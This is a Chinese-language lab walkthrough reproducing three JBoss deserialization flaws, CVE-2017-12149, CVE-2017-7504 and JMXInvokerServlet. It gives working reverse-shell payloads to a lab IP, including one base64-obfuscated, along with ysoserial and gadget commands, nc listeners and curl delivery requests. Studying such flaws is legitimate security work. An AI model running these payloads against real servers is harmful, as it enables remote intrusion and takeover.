JBOSSS简介: JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
一、CVE-2017-12149
1、漏洞简介
漏洞类型:java 反序列化
漏洞原理: 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
影响范围:5.x ,6.x
2、漏洞复现
-
搭建好环境后,访问 http://ip:8080/invoker/readonly,如果返回500界面说明存在漏洞。
-
打开jboss漏洞利用工具(可在guithub上搜索相关漏洞编号自行下载)
3. 输入目标地址,可以先检测漏洞是否存在,存在后可以直接执行系统命令。
-
执行系统命令,可以反弹shell,写入木马等。
二、CVE-2017-7504
1、漏洞简介
漏洞类型: JMXInvokerServlet 反序列化漏洞
漏洞原理: JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响范围: Jboss 4.x
2、漏洞复现
-
访问漏洞环境,进入漏洞点:jbossmq-httpil/HTTPServerILServlet,显示如下界面。
-
按照漏洞利用步骤进行漏洞利用:
1) 生成class文件:javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
2) 生成ser恶意序列化文件:java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.17.132/7777 0>&1"
3) 攻击机监听端口:nc -lvvp 7777
4) 执行攻击payload,反弹shell:sudo curl http://192.168.17.244:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
-
反弹shell成功。
三、 JMXInvokerServlet 反序列化漏洞
1、漏洞简介:
漏洞原理:
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响范围:
- JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
- JBoss AS (Wildly) 6 and earlier
- JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS)6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1,3.0
2、漏洞复现
1)访问目标站点的8080端口,是一个默认Jboss页面。
2)访问/invoker/JMXInvokerServlet,如果说存在文件下载,说明存在漏洞。
3)由于JBOSS是在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。
4)首先使用ysoserial(也可以使用JavaDeserH2HC)生成反序列化数据: java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvMTkxMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
5)使用nc监听端口 :nc -lvvp 7777
6)使用curl发送数据 : curl http://192.168.17.244:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
7)等待收到反弹shell即可(此处未收到,漏洞复现失败…一万个无语…)